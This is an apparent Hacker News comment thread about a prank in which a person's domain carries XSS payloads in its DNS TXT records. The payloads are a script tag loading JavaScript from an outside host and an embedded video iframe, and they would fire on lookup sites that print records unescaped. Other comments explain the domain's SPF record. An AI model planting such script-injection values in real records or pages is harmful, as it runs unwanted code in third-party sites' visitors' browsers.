News for hackers. Stuff that matters.

A comment on TXT Record XSS.

Re:TXT Record XSS by SEJeff on Thursday September 18, 2014 @01:15PM (#8336372)
From any Linux (or probably OS X) workstation / server, you can run the command "host -t TXT jaimehankins.co.uk" ie:

$ host -t TXT jamiehankins.co.uk

;; Truncated, retrying in TCP mode.

jamiehankins.co.uk descriptive text "<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"

jamiehankins.co.uk descriptive text "v=spf1 include:spf.mandrillapp.com ?all"

jamiehankins.co.uk descriptive text "<script src='//peniscorp.com/topkek.js'></script>"

jamiehankins.co.uk descriptive text "google-site-verification=nZUP4BagJAjQZO6AImXyzJZBXBf9s1FbDZr8pzNLTCI"

[ Parent | on HN ]
Re:TXT Record XSS by pkinsky on Thursday September 18, 2014 @01:26PM (#8336458)
This is hilarious, but what's up with this line? >jamiehankins.co.uk descriptive text "v=spf1 include:spf.mandrillapp.com ?all"

Why is mandrillapp.com (tranactional email startup) included?

[ Parent | on HN ]
Re:TXT Record XSS by eli on Thursday September 18, 2014 @01:40PM (#8336548)
It's an SPF record. By adding your authorized mail servers to your DNS, recipient mail servers can "verify" that a given server is supposed to sending mail for your domain.
[ Parent | on HN ]
Re:TXT Record XSS by JamieH on Thursday September 18, 2014 @01:28PM (#8336466)
It's my personal domain, I use mandrill for some stuff.
[ Parent | on HN ]
Re:TXT Record XSS by SEJeff on Thursday September 18, 2014 @01:58PM (#8336641)
Hell of a good prank dude, well played sir!
[ Parent | on HN ]
Re:TXT Record XSS by nemetroid on Thursday September 18, 2014 @02:56PM (#8336951)
That's a legitimate record, not related to the XSS.
[ Parent | on HN ]